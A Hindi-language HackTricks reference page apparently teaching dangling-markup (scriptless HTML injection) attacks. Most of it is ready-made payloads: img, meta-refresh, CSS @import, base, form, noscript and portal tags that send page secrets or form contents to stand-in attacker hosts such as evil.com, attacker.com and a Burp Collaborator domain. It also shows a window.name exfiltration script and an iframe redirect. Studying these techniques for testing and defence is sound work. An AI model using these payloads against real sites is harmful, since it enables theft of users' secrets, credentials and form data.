Dangling Markup - HTML scriptless injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

सारांश

यह तकनीक उपयोगकर्ता से जानकारी निकालने के लिए उपयोग किया जा सकता है जब एक HTML इंजेक्शन पाया जाता है। यह बहुत उपयोगी है अगर आप किसी XSS को एक्सप्लॉइट करने का कोई तरीका नहीं मिलता है लेकिन आप कुछ HTML टैग्स इंजेक्ट कर सकते हैं। यह उपयोगी है अगर कुछ रहस्य साफ पाठ में सहेजा गया है और आप उसे उपभोक्ता से बाहर ले जाना चाहते हैं, या अगर आप किसी स्क्रिप्ट का निष्पादन गलत दिखाना चाहते हैं।

कई तकनीकें यहाँ टिप्पणी की गई हैं जो कुछ सामग्री सुरक्षा नीति को उलटने के लिए उपयोग की जा सकती हैं (html टैग्स, CSS, http-meta टैग्स, फॉर्म्स, बेस...).

मुख्य अनुप्रयोग

साफ पाठ रहस्य चुराना

यदि आप <img src='http://evil.com/log.cgi? इंजेक्ट करते हैं तो जब पृष्ठ लोड होता है तो पीड़ित आपको इंजेक्ट किए गए img टैग और कोड के बीच कोड सभी को भेजेगा। यदि उस टुकड़े में कोई रहस्य है, तो आप उसे चुरा लेंगे (आप एक डबल कोट का उपयोग करके भी वही काम कर सकते हैं, देखें कौन सा अधिक दिलचस्प हो सकता है)।

यदि img टैग मना है (उदाहरण के लिए CSP के कारण) तो आप <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? का उपयोग भी कर सकते हैं।

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

नोट करें कि Chrome HTTP URLs को "<" या "\n" के साथ ब्लॉक करता है, इसलिए आप "ftp" जैसे अन्य प्रोटोकॉल स्कीम का प्रयास कर सकते हैं।

आप CSS @import का दुरुपयोग भी कर सकते हैं (जो एक ";" तक कोड सभी को भेजेगा)।

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

आप यहाँ भी <table का उपयोग कर सकते हैं:

<table background='//your-collaborator-id.burpcollaborator.net?'

आप एक <base टैग भी डाल सकते हैं। सभी जानकारी उस समय तक भेजी जाएगी जब तक उद्धरण बंद नहीं हो जाता है लेकिन इसमें कुछ उपयोगकर्ता अंतर्क्रिया की आवश्यकता होती है (उपयोगकर्ता को किसी लिंक पर क्लिक करना होगा, क्योंकि बेस टैग ने लिंक द्वारा संकेतित डोमेन बदल दिया होगा):

<base target='        <--- Injected
steal me'<b>test</b>

फॉर्म चुराना

<base href='http://evil.com/'>

तो, वे फॉर्म जो डेटा को पथ पर भेजते हैं (जैसे <form action='update_profile.php'>) वे डेटा को दुर्भाग्यपूर्ण डोमेन पर भेजेंगे।

फॉर्म चुराना 2

एक फॉर्म हेडर सेट करें: <form action='http://evil.com/log_steal'> यह अगले फॉर्म हेडर को ओवरराइट करेगा और फॉर्म से सभी डेटा को हमलावर को भेज दिया जाएगा।

फॉर्म चुराना 3

बटन फॉर्म की जानकारी को भेजने वाले URL को बदल सकता है "formaction" विशेषता के साथ:

<button name=xss type=submit formaction='https://google.com'>I get consumed!

स्पष्ट पाठ रहस्य चुराना 2

नवीनतम उल्लिखित तकनीक का उपयोग करके फॉर्म चुराने के लिए (नए फॉर्म हेडर को इंजेक्ट करना) आप फिर एक नया इनपुट फील्ड इंजेक्ट कर सकते हैं:

<input type='hidden' name='review_body' value="

और यह इनपुट फ़ील्ड अपने डबल कोट और अगले डबल कोट के बीच का सभी सामग्री शामिल करेगा। यह हमला "स्पष्ट पाठ रहस्य चुराना" को "फॉर्म2 चुराना" के साथ मिलाता है।

आप एक फॉर्म और <option> टैग इंजेक्ट करके एक ही चीज कर सकते हैं। एक बंद </option> मिलने तक सभी डेटा भेजा जाएगा:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

फॉर्म पैरामीटर इंजेक्शन

आप एक फॉर्म का पथ बदल सकते हैं और नए मान डाल सकते हैं ताकि एक अप्रत्याशित क्रिया किया जाए:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

नोस्क्रिप्ट के माध्यम से स्पष्ट पाठिक रहस्य चुराना

<noscript></noscript> एक टैग है जिसकी सामग्री को इंटरप्रिट किया जाएगा अगर ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता है (आप chrome://settings/content/javascript में Chrome में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।

एक तरीका वेब पृष्ठ की सामग्री को निष्क्रिय करने के बिंदु से हमले के बाद हमलावर नियंत्रित साइट के लिए नीचे तक निष्क्रिय करने के लिए यह होगा:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

CSP को उपयोगकर्ता संवाद के साथ छलकरना

इस portswiggers अनुसंधान से आप सीख सकते हैं कि सबसे अधिक CSP प्रतिबंधित वातावरण से भी कुछ उपयोगकर्ता संवाद के साथ अभी भी डेटा निकाल सकते हैं। इस अवसर में हम पेलोड का उपयोग करेंगे:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Note करें कि आप विक्टिम से कहेंगे कि वह एक लिंक पर क्लिक करें जो उसे आपके द्वारा नियंत्रित पेलोड पर रीडायरेक्ट करेगा। यह ध्यान दें कि base टैग के अंदर target विशेषता अगले एकल उद्धरण तक HTML सामग्री शामिल करेगी। इससे होगा कि जब लिंक पर क्लिक किया जाएगा तो window.name का मान वह सभी HTML सामग्री होगा। इसलिए, जैसे ही विक्टिम लिंक पर क्लिक करके एक्सेस कर रहा है, आप उस window.name तक पहुंच सकते हैं और उस डेटा को एक्सफिल्ट्रेट कर सकते हैं:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

भ्रामक स्क्रिप्ट वर्कफ़्लो 1 - HTML नेमस्पेस हमला

HTML में एक नया टैग डालें जिसमें एक आईडी होगा जो अगले टैग को ओवरराइट करेगा और एक मान जो स्क्रिप्ट के फ़्लो को प्रभावित करेगा। इस उदाहरण में आप चुन रहे हैं कि जिसके साथ जानकारी साझा की जाएगी:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

गुमराह स्क्रिप्ट वर्कफ़्लो 2 - स्क्रिप्ट नेमस्पेस हमला

HTML टैग डालकर जावास्क्रिप्ट नेमस्पेस के अंदर वेरिएबल बनाएं। फिर, यह वेरिएबल एप्लिकेशन के फ्लो को प्रभावित करेगा:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

JSONP का दुरुपयोग

यदि आपको JSONP इंटरफेस मिलता है तो आप किसी भी डेटा के साथ किसी भी फ़ंक्शन को कॉल कर सकते हैं:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

या आप यहाँ कुछ जावास्क्रिप्ट को क्रियान्वित करने की कोशिश कर सकते हैं:

<script src='/search?q=a&call=alert(1)'></script>

आईफ्रेम दुरुपयोग

एक बच्चा दस्तावेज़ के पास यह क्षमता होती है कि वह अपने माता-पिता की location संपत्ति को देख सकता है और संशोधित कर सकता है, यहां तक कि यह क्रॉस-स्थिति में भी हो सकता है। इससे एक आईफ्रेम में एक स्क्रिप्ट को समामिल करने की अनुमति होती है जो ग्राहक को किसी भी पृष्ठ पर पुनर्निर्देशित कर सकता है:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

इसे इस तरह से कम किया जा सकता है: sandbox=' allow-scripts allow-top-navigation'

एक आईफ्रेम को भी दूसरे पेज से संवेदनशील जानकारी लीक करने के लिए दुरुपयोग किया जा सकता है आईफ्रेम नाम विशेषता का उपयोग करके। यह इसलिए है क्योंकि आप एक ऐसा आईफ्रेम बना सकते हैं जो खुद को आईफ्रेम करता है जो HTML इन्जेक्शन का दुरुपयोग करता है जिससे संवेदनशील जानकारी आईफ्रेम नाम विशेषता के अंदर प्रकट होती है और फिर प्रारंभिक आईफ्रेम से उस नाम तक पहुंचकर उसे लीक कर सकते हैं।

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta दुरुपयोग

आप meta http-equiv का उपयोग करके कई क्रियाएँ कर सकते हैं जैसे कुकी सेट करना: <meta http-equiv="Set-Cookie" Content="SESSID=1"> या रीडायरेक्ट करना (इस मामले में 5 सेकंड में): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

इसे एक CSP के साथ टाला जा सकता है जो http-equiv के संबंध में है (Content-Security-Policy: default-src 'self';, या Content-Security-Policy: http-equiv 'self';)

नया <portal HTML टैग

आप <portal टैग के उदाहरणीय सुरक्षा विकल्पों पर एक बहुत रोचक शोध पा सकते हैं यहाँ। इस लेखन के समय पर आपको Chrome में पोर्टल टैग को सक्षम करना होगा chrome://flags/#enable-portals अन्यथा यह काम नहीं करेगा।

<portal src='https://attacker-server?

HTML लीक्स

HTML में कनेक्टिविटी लीक करने के सभी तरीके Dangling Markup के लिए उपयोगी नहीं होंगे, लेकिन कभी-कभी यह मदद कर सकते हैं। यहां चेक करें: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-लीक्स

यह डैंगलिंग मार्कअप और XS-लीक्स के बीच मिश्रण है। एक ओर यह विकल्प हमें HTML इंजेक्शन (लेकिन नहीं JS) करने की अनुमति देता है, जो हमारे हमले की जड़ से समान मूल की पृष्ठ को। दूसरी ओर हम वहाँ हम HTML इंजेक्ट कर सकते हैं, उस पृष्ठ पर हमला नहीं करेंगे, जहाँ हम HTML इंजेक्ट कर सकते हैं।

pageSS-Leaks

XS-सर्च/XS-लीक्स

XS-सर्च क्रॉस-ऑरिजिन जानकारी को बाहर निकालने के लिए उन्हें साइड चैनल हमलों का दुरुपयोग करने के लिए उन्मुख हैं। इसलिए, यह Dangling Markup से एक भिन्न तकनीक है, हालांकि, कुछ तकनीकों में HTML टैगों का समावेश किया जाता है (JS निष्पादन के साथ और बिना), जैसे CSS इंजेक्शन या Lazy Load Images

pageXS-Search/XS-Leaks

ब्रूट-फोर्स डिटेक्शन सूची

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated